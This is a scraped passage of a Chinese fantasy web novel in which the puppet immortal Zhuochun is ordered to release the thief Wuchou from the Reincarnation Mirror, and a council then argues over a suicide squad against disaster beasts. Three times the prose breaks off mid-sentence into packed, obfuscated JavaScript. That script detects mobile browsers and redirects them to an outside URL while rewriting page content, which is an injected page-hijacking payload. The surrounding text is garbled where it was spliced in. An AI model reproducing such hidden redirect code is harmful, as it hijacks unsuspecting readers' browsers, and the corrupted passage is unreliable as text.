虽然她想办法让无俦以为自己回到了过去，但……不是百分百安全。自己不在现场观察调整，对方会不会察觉什么，然后逃跑啊？ 光是逃跑也就罢了，如果引发一些自己没顾虑到的不好的事，那她背得起这个责任吗…… 可是，轮回镜好歹是神器，不至于……再说她和轮回镜有联结，万一真有异样，自己会知道，赶回去制止也…… 但那可是无俦，盖天下有名的贼头！——谁知道是不是观衅伺隙、谋而后动呢？ ——嘁！跑就跑了！ 不过区区一个小贼，她家百捷转眼就抓回来了！ 如果真又惹出什么幺蛾子倒也好，数罪并罚，直接一个大写的死罪！慎刑殿那边不是正愁老大不给通过死罪的提案么？说不准这么一闹，啪！死罪批下来了！功在当代，利在千秋！ 就是就是，不管她，顺其自然吧…… 想是这么想，但灼春在走到下个路口前，仍不由自主地调转了脚步。 “真不知道自己干这份活图个啥，干好了又不多给钱多给假的……” 唾弃着自己没用的责任心，灼春拐过墙角—— 嘭！ 撞在树干上，扑簌簌落下满天落叶花枝。 灼春连连后退，一手捂住撞疼的额头，一手掸开满头满肩的叶子堆枯枝杈。 奇了怪了，怎么突然多出一棵桃树？明明刚刚走过去的时候还没有…… 她往边上走了两步打算从略远处打量打量，却见桃树那边落英缤纷，整朵整朵的桃花轻如羽毛，在半空中打着旋儿飘落，金灿灿的阳光斜照，映出几个七彩的晕轮；光与花交错之下，一丰满女子嫣然一笑款款走来—— “灼春执司，许久未见。” “你……”灼春看呆了，“大扶疏，你该不是为了营造氛围，特意抱了棵盆栽在这堵我呢吧？？” 她指着桃树底下的陶土盆，不敢置信，心道这树活得真憋屈，这么点个盆盆，不得把根裹坏啊？ 扶疏侧开眼神拍拍桃树，但笑不语。 其实…… 她还控制了花落的速度和密度来着…… 灼春：“……”两个扶疏某些时候还是挺像的。 不过从别的方面来说，或许是件好事，至少大扶疏恢复精神，没之前那么失魂落魄了——就是对她被撞的额头不太友好。 灼春揉了揉痛处，随口寒暄着问对方怎么来相睦会了。 “总不可能是东家自己出来送外卖吧？” 扶疏叹气：“没有食材，别说外卖，堂食都没得了。” “啊？” 于是从大扶疏的解释中，灼春知道了她此行的原因。 多味楼为了保证食材优质，在偏远的边城都设有自己的食材基地，由专人照料运输。然而前不久，不知从哪里冒出了大批灾怪，毁坏了基地，严重影响多味楼的经营。大扶疏从附近的菜农手里紧急调货，然而品质实在不达标，这样做出的菜品只会砸她的手艺，不如不做。 “……靠着仅有的部分未受损基地的食材，多味楼目前还能勉强支撑，但若不及时补救，没过几日就不得不歇业了。”开店不易，扶疏叹气。 “哦……那你应该找斗武殿和慎刑殿，或者直接找英理事长统筹。” 灼春没创过业，共情不了对方此刻的情绪。 嗐，和她偶仙没甚关系，应该只是误会，大扶疏不是来堵她的。 吓死她了，还以为大扶疏有什么难事要她解决，才大费周章地堵她来了呢…… 扶疏：“慎刑殿我已经去过了，夏掌刑说她会尽快处理安排。” “噢噢……那没事了？那我们就……” 灼春正要挥手告别，扶疏突然叫住她。 “偶仙呐，其实我找你也有点事……”扶疏不好意思地笑笑。 “嗯？” 扶疏吞吞吐吐：“就是……我有个朋友在你这边，我想看看她……” “我这边？”灼春想了想自己手下仅有的两个人，首先排除小麻，那孩子没什么人脉，“你是说小程吗？——唉，你不知道啊？前段时间她离职了，去哪儿了我也不清楚。” “啊？——呃，不是她……我找的是……是你轮回镜里的那个……” 轮回镜里？ 灼春挠头。 最近没什么仙者历劫啊，现在轮回镜里的就一个大恶——该不是说无俦吧？ 她猛地想起，对喽，大扶疏和贼子无俦似乎是发小来着！ 灼春当下警铃大作：“你说贼——无俦啊？你怎么知道她在我这？” 扶疏：“鸣——兽医仙告诉我的，她还说林鸿排了个本子，能帮无俦认清错误改邪归正呢！” “大漏勺……”灼春嘟囔。 想起曾经的挚友，扶疏神色落寞：“尽管我和无俦后来背道而驰，但是活到现在，我想没有人比我更了解她，无俦她其实不是全然冷血的——所以我想请偶仙答应我这不情之请，让我探望无——” “——喂？哎！啊？这么急吗？好好好我这就来！” 灼春蓦地抬手贴在耳边，隐约有法阵光晕，仿佛收到了什么讯息似的。 灼春：“哎呦不好意思，鸣桐找我有急事，我得过去一趟，有什么话等之后再说吧！” 扶疏懵：“可是除了今天，别的时间我都有事……” “——唉唉唉？我在跑了在跑了！别催别催！这就来！”灼春手贴着耳，边回应边跑路，连跟大扶疏说再见的空隙都没。 扶疏手僵在空中，说不出话。 “鸣桐！避个难！” 灼春闯进生灵殿后当即反身关紧大门。 殿上首，鸣桐在一群小兽簇拥中抬起头，诧异问她避什么难。 “大扶疏。” 灼春娴熟地挑了个座儿坐下，托着下巴敲手指。 “她？”鸣桐不解，“你怎么惹她了？大扶疏脾气那么好……莫不成你去多味楼吃霸王餐了？不对不对……就算你吃霸王餐，大扶疏也不会气到追你……难道是因为食材供应断了所以转性了？……” “别瞎猜了！我哪是吃霸王餐的那种人！”灼春努努嘴，“说起来还是你的错！你个大漏勺！干嘛告诉她无俦在轮回镜里的事啊！尽给我添乱！” 鸣桐没想到与自己有关，闻言怔了怔。 “这还需要保密吗？怎么，大扶疏来‘劫狱’了？” “幸好我机灵！在她要‘劫狱’之前就溜了！” 灼春把遇到大扶疏的经过说了一遍，鸣桐听完轻笑。 她当怎么了，不过是大扶疏花了点心思与灼春碰面而已。 鸣桐笑言：“也许人家只是有创意了些，没想那么多。无俦作恶多端，有目共睹，大扶疏又不是不明事理的人，怎么会为她说项呢？” “那是我警醒，防患于未然，所以大扶疏才没找到机会为坏人说话！”灼春撇嘴，“感情这东西啊，最易使人盲目护短！大扶疏和那无俦可是发小！那感情还用说？不是盛传，当初两人背道而驰，无俦把大扶疏打断腿了吗？腿都断了，大扶疏还狠不下心对立呢！我看以这份感情，就算大扶疏被无俦捅死，她都会微笑说一句‘我原谅你’哩！” 鸣桐叹气：“也不能这么说，那时候的情况很复杂，不是简单一句感情因素能概括的……大扶疏会为大局考虑的。” 灼春轻哼，不以为然。 她用自己举例：“呐，比方说我和百捷，如果百捷误入歧途被抓，我一定坐立难安，说不定一个冲动就跑去捞人；反之换我迷而不返，百捷绝对绝对二话不说就来救我，没准还弃明投暗跟我站一块对抗全世界呢！——同样是总角之交的情谊，大扶疏当如何？” 鸣桐笑了：“幸好你俩不会走歪。” “罢了，我从后门溜了。知道被人惦记着，无俦一个人在轮回镜里我还真不放心！” 灼春摆手，要往后门走。 鸣桐猛地喊住她，说要问她几件事拿拿主意。 灼春说了句“长话短问”就收回脚步。 重新走回去，她才看到鸣桐桌案上还有厚厚几摞文书，鸣桐本人正拿着笔似乎要写些什么。因为大大小小的动物们围成几圈挡住了视野，所以先前灼春才没看到。 灼春：“你这是在？” 鸣桐捏起自己面前才写一半的纸张抖落两下，叹气：“吉吾找我一起做个剧本杀项目，我负责写剧本，但是关于一些情节我想不出该有的反应，想问问你。” 灼春被奇怪笑了：“你写的人物你不知道怎么写下去？你都不知道我能知道什么！” 鸣桐支支吾吾着说：“因为不是我想的人物啊……吉吾给了剧本的躯干和枝丫，我只要把逻辑连起来，修饰文字，添上叶子，所以会卡顿……” 她没说的是，这些剧本都是吉吾搜罗起来的渡劫模板，而所有文案的目标人物都是灼春。所以灼春真实的反应很重要，可她很难想象假使灼春真套进模板会有什么行动。 搞不清这一点，她就很难让剧本杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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灼春慢悠悠地左右摇头：“那就更不可能了。以我的性格，就算这些是我的历劫模板，估计只会卡死在成长阶段。历劫模板是需要因人而异的，尤其是细节太多的时候。细节越多，越容易被打破预想，原先设置的模板就不中用了。” 鸣桐不解：“怎么会呢？司劫不就是控制轮回镜内故事的发展吗？” “你也说是‘故事’的发展了。”灼春说，“虽说仙者进入轮回镜等同重生，但是灵魂内核不会变，就算面对相同的遭遇都可能会做出不同的抉择，而不同选择形成的经历又反过来凝实仙者的灵魂内核。司劫只是改变她身边的环境，引导她往某个方向走，并不能完全控制个人，尤其是感情。” 鸣桐顺着她的意思想：“也就是说，如果同样是挨打，内核是反抗的人就会还手，内核是顺从的人就会忍受，哪怕她们是同样的生长环境。而且，因为内核不同，即使是同样的生长环境，反抗者的体验基调是叛逆，顺从者的体验基调是屈从，此后人生他们也会重复自己习惯的基调？” “对！”灼春比了个对钩手势，“我作为偶仙，在司劫时还有一项特权，使轮回镜内仙者错误定义自己的感情，比如把紧张造成的心悸误认为是坠入爱河的心动，把恐惧造成的颤抖误认为是遇到势均力敌对手的兴奋。不过就这一项特权就比其他仙者司劫要好很多啦，能微定义仙者感情，令渡劫仙者历劫方便多了。” “哦……确实是个不错的特权……” 鸣桐忍不住回忆自己替人司劫的时候都展现过什么特权。 她有吗？没发现啊？ “这个特权是天道告诉你的？” “不啊，轮回镜内的法则规律都是我自己琢磨出来的。” 灼春把话茬转回来：“所以啊，就算在轮回镜里那么受约束，都不可能完全改变一个人，你这虚构的剧本就更没法代入嘛！我看你还是和吉吾商量商量换些故事，或者放弃逻辑草率地编一个死因吧！” 说完，灼春就告辞从后门溜了。 鸣桐拿着被否决的剧本看，脑子里却不由自主地不断回响着灼春刚刚说过的话。 偶仙特权，可以让轮回镜里的仙者错误定义自己的感情…… 可她并没说是渡劫仙者？如果这是不必要加的前缀，那么为什么后面又特意提了“渡劫仙者”这个定义呢？ 唔……轮回镜内一次只能令一位仙者历劫，这众所周知啊…… 鸣桐托着下巴，一边思考一边看殿内十几只小兽们绕着大殿赛跑。 跑得最快的是银狼，甚至快过最慢的狗崽一圈，乍一看还以为跑在中等水平那一堆呢。 ——速度！ 鸣桐忽然想到能在轮回镜里留下痕迹的只有仙者，而，仙者渡劫时接触到的人物不可能是凭空捏造的……莫非都是不同时代来镜内渡劫的仙者吗？ 鸣桐被自己的大胆猜想吓了一跳，可是又觉得这样才合理。 否则，需要渡劫仙者以外的人误会自己的感情来推动情节时，灼春怎么办呢？只有其他人也是仙者，才能动用偶仙特权啊。 68.放出无俦 灼春看守轮回镜期间，情理所的一切事宜都由麻惠良具体操作，譬如缺什么物件啊、参加什么会议啊……灼春不是真去不了，而是懒得动。尤其是哪些乱七八糟的冗余会议，没什么用，凑个人头罢了，又何必亲自上阵呢？ 但是不知为何，自从生灵殿后门溜走，相睦会似乎逐渐多了不少会，往往是麻惠良上午开完会，午饭都没来得及吃又要赶赴下一场。 灼春守在轮回镜旁，看着麻惠良脚不沾地，走路都是用跑的，惊叹和心虚交替出现。 也不能怪她剥削人家吧……谁让她这边人手不够呢？ 灼春昧着良心旁观了几日，某日终于决定要传授麻惠良工作之道——保护自己，适当摸鱼——却迟迟没等到她回来。 直到次日天蒙蒙亮，麻惠良才带着清晨的寒气回了情理所。 灼春讶然：“你干嘛去了？不会一宿没睡吧？” 麻惠良揉着眼睛打哈欠：“嗯……人手不够，我开完会就被慎刑殿的人拉去加班了……” “嗯！？”灼春有种被撬墙角的不悦，“我们与慎刑殿又不是从属关系，听他们的干甚？越过我使唤你，还讲不讲理了！——你也是，不是你干的活别去揽！做好了没我们的嘉奖，做不好黑锅还得背，亏！既然是慎刑殿缺人手，就让他们自己和斗武殿协调去！” 麻惠良为难道：“可是要我去帮忙是掌舵说的……” 这…… 灼春顿时闭嘴。 这她就不好有意见了。 林鸿大抵是不会特意找她情理所麻烦的，那也就是说……是真的人手不够啊？ 灼春想和鸣桐联系，问问最近会里有什么事，结果对面没有回音。 嗯？ 麻惠良犹豫了好久，才弱弱开口，说她听鸣桐讲过，现在相睦会都很忙，大部分对外的业务部门都关闭了，理事堂临时包揽了所有项目。其他关闭部门的执司都被统一安排到斗武殿听战神指挥。 “我没接到情理所关闭的通知啊？”灼春疑惑。 “……但是我隐约听到掌舵和别人说，如果五日后情况还不稳定，就让剩下还没停工的部门停下，把人顶上去……” “……” 灼春眼皮子一跳：“说真的，到底出什么情况了这么紧张？我手头还有要紧活呢，我肯定走不开啊！” 她拍了拍运行中的轮回镜的镜框。 麻惠良身子一抖，态度更弱了：“我也是听说，不准确……” 正因为是小道消息，灼春才深信不疑。 话说回来，灾潮刚过，能有什么需要人手的大事？顶多就是灾怪数量多点，有什么的呢？ 那些当领导的人啊，就是喜欢小题大做、大惊小怪，芝麻大点的事都能当作惊天大案处理。 是不是声势越浩大越折腾人，他们的业绩越好看啊？ 看这形势，用不了多久，自己也会被拉去抓壮丁。小麻已经救不回来了，但她自己还能抢救一下！ 麻惠良没待一会儿又要公出。 灼春送走她后，开始制造“情理所无人”的假象——门窗关好，所有会发光的东西都用布罩住，所有会发声的东西都施上静音咒术。到了晚上，连误入的萤火虫都要赶走，喝水都不敢喝得太大声。 这样小心翼翼地过了三日，没等来解严的消息，却等来了林鸿本人。 “大晚上的怎么不点灯？”眼下淡青的林鸿走进情理所，环顾一圈漆黑的环境，顺手将屋子里的灯全部点燃。 “……”灼春心头有一刹那的苦涩，“您大晚上的怎么还视察工作？” 她有种预感，林鸿这次来准没好事，说不定就要拉着她加班干活呢…… 什么人间疾苦！因为累不死，所以仙者活该被当做不会累的牛马压榨到时间尽头吗！ “事态紧急……”林鸿叹了口气，揉了揉眉心，“无俦的进展如何？” “毫无进展！” “毫无？” 为了逃避工作，灼春脱口而出，然而等她说完看清林鸿的脸色，当即意识到这样回答不对，显得她尸位素餐毫无建树似的，一旦被这么误会，她被拉去干别的活的可能性大大增加！ “咳咳……我的意思是，工作只有‘完成’和‘未完成’两种状态，只要没达成‘一’，那进展就是‘零’，哪怕进度是零点九九也是零。”灼春面不改色地狡辩。 “别玩文字游戏了，直接说，进度到百分之几了？” “进度到……” 灼春想了想，如果按无俦改邪归正为结果，那么现在已经稍微有了是非观，但还达不到认可、遵循的程度…… “百分之五十？” 灼春试探着回答。 “才五十？都不及格？”林鸿皱起了眉头。 灼春无奈：“老大，这又不是考试，哪儿有及格线啊？” “我就问，无俦的冷硬态度是否软化？” “呃……如果这么问……那就是……‘是’？”灼春斟酌着回答。 她觉得，无俦的态度虽然软化，但远不是她们想要的样子，所以回复起来比较为难。事实上确实有改变，但严格意义上说，根本达不到林鸿的标准，可是林鸿的咄咄逼人又让她不敢回答不是。 唉，希望只是考察考察她的工作而已…… 林鸿点点头：“好，先放她出来吧。” “放——哈！？” 灼春震惊了。 她没听错吧！？老大刚说什么！？ “放她出来”？ 放谁出来？什么谁出来？放谁什么？？ “我知道你不愿意，我又何尝不是？只是现在的情况，非如此不可了。现在每推迟一刻，就多一刻的牺牲，灼春，放她出来吧。”林鸿表示理解灼春的心情，但依然坚持自己的决定。 “不是，什么情况啊就这样……现在真不行啊！没改造完全就出来，咱们会前功尽弃的啊！现在放出来了，日后再放进轮回镜，人家不可能再相信了呀！”灼春急了。 那贼头的精神损害多少她才不管，可是自己的工作完成不好她受不了！ 若是放走以后干脆不归她管了倒也罢了，但林鸿的意思分明是先提溜出来一下，之后还要扔还给她！那她工作还怎么进行！末了又给她甩一个工作不得力的黑锅？她才不要！ “难道你不清楚现在的状况吗？放！”林鸿坚决道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103589|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>灼春固执地护在轮回镜前：“你不解释清楚我不可能听你的！现在放无俦出来有什么用！我开始怀疑你是不是林鸿了！老大才不会做这么不计后果的决策！” “关于现在的局面，之前的会议已经解释得很明白了。同样的话，我不想再说第二遍。我知道这个决策有争议，但是这些天下来，无数方案都被现实否决，我们只有这个解决方法了。” 会议？ 灼春一愣，下意识地闭嘴，以防自己没参加会议的行为暴露。 就愣神的工夫，林鸿摁着她的肩膀把她推开，掏出一个巴掌大的木偶，将镜中的魂魄收走注入其中。 灼春错愕地看着这一幕：“……” 还特意造个容器，看来也不是送到慎刑殿关押。 林鸿带着木偶无俦离开后，没多久麻惠良就回来了，说是局面得到控制，掌舵让多的人回去休息。 灼春摸摸下巴。 不知道贼头干了什么，居然真起作用了…… 也就是说她不用担心自己被抓壮丁了？不用再假装不在摸黑走动了？ 耶！ 好吧，短暂地原谅一下贼头，就一秒。 麻惠良在边上重复整理东西，眼睛往灼春那儿一瞥一瞥，看得灼春感觉自己后背毛毛的，一回头就和麻惠良视线相撞。 “……有事？” “呃……”麻惠良低头，手指打圈，“那个……多味楼的老板找你找不到，让我传达几句话……” 听到大扶疏有话要跟自己说，灼春第一反应是捂住耳朵逃跑——但她转念一想，大扶疏本人又不在，就算是不合理的要求，自己听了不做便是，她能把自己怎样呢？ 灼春冷静下来，淡定点头：“哦，那你说吧。” 可她做好了听的心理准备，麻惠良还没做好说的心理准备。 灼春安稳坐着，就见麻惠良一会儿看天一会儿看地，嘴里嘟嘟囔囔，两只手把衣角往左绞到头又往右绞到头，似乎很纠结。 “……”灼春眉头一抖，“小麻，咱就正常交流，不需要多正式，又不是考试，说错话也不会扣你分的。” “哦哦哦……她说，无俦的性格很固执，但又很脆弱，一直坚持的信念被动摇，又没有新的信念支持，就会破罐破摔想和所有人同归于尽。她还说，无俦以前很善良，只是因为迟迟不能成仙所以思维走进死胡同，因为她很固执，所以引导和陪伴是没有用的，她已经试过了……” 麻惠良掰着指头转述，一个气口都没留，灼春听得费劲，听转述的内容更费解。 不是…… 大扶疏和贼头不是亲密无间的好朋友吗？就算后来分道扬镳……不也是亲密无间的好朋友吗？怎么还背着人说人家坏话啊？听她这话茬，不是想让自己放无俦一马，而是想让自己撸起袖子加把劲儿往死里整人啊？ ……好吧，之前算是她想错了。大扶疏和无俦根本不像她和百捷。 她和百捷才不是这样的。 她们最多就是当面呲儿对方打个架什么的，背地里不可能说人坏话，尤其是说坏话让别人欺负得更狠些！ 自家姐妹，自己祸祸就得了，别人别想动一根毫毛。 69.友尽现场 灼春在盘尚未渡劫的仙者名单时，惊喜地发现几乎已经达成林鸿定下的“一轮”目标了——只要夏侯振川也完成渡劫的话。 不过，夏侯振川是新生仙者，不知道何时才会达到寂心期，若只是干等，说不定又一轮的仙者都渡劫完了还等不来她呢！那自己的假期岂不是得推很迟啊？ 山不就我我自就山。 灼春想了想，决定主动出击，直接找去夏侯家。 “哟这么巧啊？你也没去当苦力啊？” 叩开夏侯家的门，灼春先开朗地问候。 门开后，夏侯振川平移出半边身子，眼睛眯了一半，和冰川一样寒冷。 “滚。” 夏侯如是说。 她啪的一声摔上了门，让灼春结结实实地吃了一个闭门羹。 灼春：“……” 这也太难堪了吧！一点同僚情都不讲吗？ 灼春很想扭头就走，但想到自己的带薪假，还是抛下自尊，热脸去贴人家的冷门板。 “夏侯仙者？信仙？——哎，别这么害羞嘛！就聊两句！聊两句就走！——该做的事迟早还是要做的，逃避顶什么用呢？难不成那么多年的努力全让它打水漂了？哎呀配合一下嘛～” 可惜，尽管她腆着脸和夏侯说话，人家却丝毫不给面子，没有一句回应，最多最多听烦了再扔一个“滚”。 但，灼春对带薪假的热情远远超过夏侯的想象。 不管夏侯怎么无情，灼春就是贴着门缝不停唠叨，同一句话改变主谓宾翻来覆去地说，中心思想就一个——赶紧来轮回镜渡劫！ 皇天不负有心人，灼春嘴皮子都快说破了，紧闭的大门终于打开了一条缝。 “夏侯仙者？” 灼春凑上前，猝不及防就被从门缝里窜出来的什么玩意儿直砸脑门，不由自主地往后趔趄好几步。 她定睛一看，咦？是个琉璃盘？看着好眼熟哦，在哪儿见过么…… 琉璃法器浮在门前，微光一闪，盘面上就陆陆续续浮现一段字—— “寂心期：考验仙者是否拥有仙者资格的一次试炼，每次间隔因人而异，多则数百年，少则十数日。新生仙者属于特殊情况，一般有八十年以上的保质期，之后才会迎来第一次寂心期……” 灼春一拍脑门，恍然大悟。 啊对！这不是“知易”嘛！小乔之前送来内测过的法器！哎呀，那时光顾着用它上课，忘了这个法器最主要的功能是“便携式百科全书”了。 ——这么说来，她可以不用管夏侯，立马申请休假去？ “……滚。滚。滚。……” 当空半悬的知易科普完寂心期的相关知识后，跳出了一串重复的字符，单调而有有规律地重复朗诵。 灼春：“……” 好吧，这不待见人的态度够明显了。 她得到了可以通过的好理由后，当即鸣金收兵，仪式性地道了声再见便小跳着去准备请假的资料。 “今天天气好晴……” 灼春歌才唱了个开头，天色唰一下阴沉下来，就比伸手不见五指好一些。 她诧异抬头，莫非这是老天在跟她开玩笑？这玩笑开得……吐槽性质略强啊？ “轰隆！！” 远处炸开一声雷，吓得灼春跳将起来。她伸长脖子仰望发出声音的远方，见到五色闪电在天上蔓延开，当即护住脑袋往家跑。 “下雨了下雨了……家里还晒着衣服呢……” 才跑了几步，天边又响起另一声轰鸣，比之前那声还要闷，还要重，仿佛就在耳边。 灼春骂了一声跑得更快了。 天呐，千万别说这雷是瞄着她打的！她安分守己除了翘几次会议让小麻去参加外啥坏事都没干啊！ 灼春匆匆跑回家，手忙脚乱关上所有门窗——结果，云、消、雾、散了。 她掐着窗框望天，心想果然是老天开她玩笑。 呸！不要脸！多大的天了还玩这套！ 接下来，灼春花了大半天的时间准备请假的资料，包括且不限于已司劫的名单、渡劫前后的能力对比以及林鸿的批假承诺纸质版。等到会里外出的人尽数回来了，她就夹着一胳肢窝的材料前往主殿。 “……各位同僚辛苦了，会议正式开始前，让我来总结一下至今的情况——” 主殿内林鸿略显疲惫的声音缓缓传开，刚要踏进殿门的灼春立马收回脚步，躲在一边。 ……草率了！ 被即将放假的喜悦冲昏头脑，忘了现在正值多事之秋……话说发生啥了，真有那么紧急吗？一天的工作结束还要开个总结会啊？真有这工夫用来养精蓄锐不成么……啧，估计又是走个形式。 她往里瞄了一眼，发现连大扶疏这样的会外仙者都到了…… 唔……上次这样还是灾潮……莫非真出那么大的事了？那、那还是听一耳朵吧…… 灼春不想太显眼，便靠在门口耐着性子等，顺便也听一听最近发生了啥不得了的“大”事。 “……根据慎刑殿调查，灾兽一行是两个月前从龟鉴岛出来在沿海城池上岸，无规则地往内陆方向前进，一路造成生命与财产的损失无数，经由会外仙者上报与阻拦，慎刑殿及时出动，将灾兽们拦截于……” 灾……兽？ 不是灾怪吗？ 灾兽是啥？从来没听过啊？ 灼春感觉自己仿佛被关进地牢五百年再出来的囚犯，别人说的每一个字她都知道，可就是不懂什么意思。 看来司劫这活真不能再干了，她都和世界脱节了！ “……然而由于灾兽区别于灾怪的特殊属性，一切攻击甚至接触，都被无效化。好在，先锋官根据蛛丝马迹点出与灾兽密切的一位人物‘无俦’，又经慎刑殿调查，无俦是灾怪异变成灾兽的关键，为我们的下一步行动打下基础。” 灼春又糊涂了。 先锋官……是说百捷嗷？她还有思考关键信息打破僵局的那聪明劲儿呢？合着放出贼头的主意是百捷起的头啊？ 这已经不是和世界脱节的问题了——是超不经意换了个世界的问题啊！ “……说到这，我要向大家郑重道歉——对不起——由于我本人的错误估计，误判了无俦的人性，导致抗击灾兽的第一现场出现无俦自爆的情况，加强了灾兽方的破坏力，并间接导致前风神‘小扶疏’惨死当场。” 灼春呼吸停滞了一瞬。 什么意思？小扶疏死了？被贼头自爆牵连的吗？ 不……不应该吧……仙者怎么可能被杀死…… 难道她之前听到的两声轰鸣是…… “……小扶疏的牺牲并不是无谓的。他的英勇就义，让我们了解到灾兽的又一特性——吞食饱法力后，便会沉睡，不再进行破坏。”短暂停顿后，林鸿继续说，“但是我们不知道灾兽什么时候又会醒来，所以要提早做好应对的准备。基于已知信息，现在，我有个大概的想法——组建一支敢死队，利用灾兽易被强大法力吸引的特性，将其引诱到深渊下封锁……将灾兽控制住后，先治标，直到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112083|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们找到制服灾兽的方法。——诸位……有其他建议吗？若没有，就……商量下敢死队成员吧……” 殿内话音落下，顿时陷入一片死寂，沉重的气氛像巨山压顶，又像海水漫灌，蔓延到连门口的灼春都险些喘不过气来。 什么控制住啊…… 老大的意思不就是要敢死队的人牺牲自己喂饱灾兽息事宁人么？ 听她这意思，最好是法力充沛的仙者…… 灼春换位思考，如果要她选，这种时候，肯定是半强制地让平日没甚用的仙者去送死。会外仙者不归老大管暂且放过，环顾全会……首当其冲的该是凤脊！接着便是…… 虽然很不情愿，但灼春痛苦地发现，客观来说，凤脊之后，自己就是第二人。 “……” 灼春倒嘶一口冷气，手忙脚乱地爬走，慌乱之际还不忘蹑手蹑脚保持安静，脑子里只有一个念头—— 辞职！！ ——“掌舵，名额给我留一个！” 灼春一顿，这声音…… “……好，既然先锋官同……” “且慢！！！” 身体快于思考，等灼春反应过来时，自己已经反身，一个箭步冲进殿内捂住毛遂自荐的百捷的嘴。 林鸿微微蹙眉：“何事？” 灼春死死捂着想挣扎的百捷的嘴，打哈哈：“不儿，百捷脑子不好使，她没听明白你的话，她不是那个意思！她是想说……上、上战场的名额给她留一个！等等我给她解释一下！” 她转身面对百捷，压低了声音骂她，让她不要瞎凑热闹，以身饲虎并不好玩，赶紧撤回刚的话。 “春……” 百捷才开口，灼春就狠狠打她肩膀，让她用气声说话。 百捷听见了，但没照做。 她铿锵地说道：“我没觉得好玩，这是我的责任，我的义务。走上修仙路的第一天，我就知道我是为什么而修的。从成为仙者的那天起，我就做好了为自己的道献出生命的觉悟。如今正是我实现自我追求的时刻，我怎么会临阵脱逃？” “你！你！” 灼春被她的牛脾气气坏了，半晌说不出话，手指指点点的，最后说着“老娘让你献、献、献”狠狠捶她胸口。 灼春揪着她的衣领：“自我追求就非得以死亡的形式实现？你打架打傻了吧！从小到大都这个憨劲儿，干什么事都不知道婉转点，有人给你家里人造谣泼脏水，二话不说提着铁锹就出门跟人干仗，结果自己被打得头破血流……我不求你别的，就今天学聪明点行不行！？” 百捷梗着脖子望天，就是一副不配合的样子，气得灼春拽着她来回晃，恨不能把她摇清醒了。 “你别装听不见！！你忘了你娘临终前说什么了？你不记得我给你回忆回忆！你娘说，你脑子笨，让你做什么决定时都要跟我商量！让你把我当你娘！——你当我愿意管你啊！还不是你娘把你交给我了我不得不管！反正你不许去！不然我俩朋友没得做！” “不做就不做。” “嗐呀你还来劲儿了是吧！？我都没发脾气你还来脾气了是吧！？” “你脾气发到现在了。” “你再说！？你再说！？是不是想绝交！是不是！！” “……” “少给老娘装哑巴！你说话！朋友和去死你选一个！你选啊！我看你怎么选！……” …… 眼瞅着会议现场越来越聒噪，林鸿疲惫地揉揉鼻梁，举手示意身边的执司去把灼春架出主殿。 70.法池计划 林鸿手下两位执司上前拉偏架，一边劝灼春保持风度，一边将她拉离主殿。此时，不知谁小声说了句“灼春不也挺适合一起去的”，众人视线瞬间集中到仿佛被冰冻住的灼春身上。 好家伙，当她面要她命啊…… 最初的惊慌过后，灼春反倒平静了，有种等待斩首而铡刀终于割了自己脑袋的尘埃落定感。 灼春卸了一口气，嘲讽笑道：“我说诸位……拜托你们动动脑子想想怎么解决问题好不好？不要整天想着怎么牺牲别人行不行？咋的，你们就那么肯定被牺牲的不是你自己？谁你大爷的修仙是为了牺牲啊？——除了百捷大傻子——谁同意的谁去！别拉我下水，你强迫我我就辞职！本来就钱少事儿多，现在还要搭上自己的命，跟谁贱得慌似的——凤脊，你也说句话！摆烂把千年了，这时候就别犯懒了！再不说话下一个就是你！难道你甘愿被推出去送命吗！” “随——便——” 在角落靠在椅背上假寐的凤脊眼睛都不睁一下，懒洋洋地提要求：“抬我的担架记得用蚕丝被——” “你！烂泥扶不上墙！”灼春痛斥。 一石激起千层浪，灼春的话可算踩了所有仙者的脊梁，而凤脊的话正好给了他们凭证。 大家本就因为被灼春司劫而看她不悦，这么一来主殿内顿时炸开了锅，有说她没有气节败坏仙者名誉，连凤脊都识大体就她小小偶仙搞特殊，有质疑她怎么当上仙者的这么没担当，有骂她不要小人之心度君子之腹她不愿意不代表别人都不愿意…… 到了最后，基本上达成“必须把灼春送进敢死队”的意见。 但，管他们怎么达成一致呢，灼春捂着耳朵闭上眼，就是破罐破摔不应答不服从。 “我同意。” 灼春斜眼看去，夏至凛居然举手站了起来喊同意，当即忍不住爆粗口。 灼春怒：“夏至凛！别人针对我也就算了，我跟你无冤无仇你插什么嘴！你一个半——” 夏至凛淡然：“我同意偶仙的说法，不该采取如此消极的做法。” “——半仙跳脱出了利害关系，所以看问题更客观全面。夏掌刑说得很有道理，大家都认真听听。”灼春一个急刹车把话扭转，严肃神情看着夏至凛小幅度又高频率地啪叽啪叽鼓掌。 夏至凛：“‘以地事秦犹抱薪救火，薪不尽火不灭’——虽说是权宜之计，但谁又能确定可以拖延多久，这个牺牲是否有效？如果直到牺牲所有人还没想出治本的办法，岂不是赔了夫人又折兵？万一解决问题的人就在已牺牲之列呢？我们岂非自掘坟墓？所以，大家冷静一下，不要自乱阵脚，横竖都要想主意，不如现在就开始想别的办法吧。” 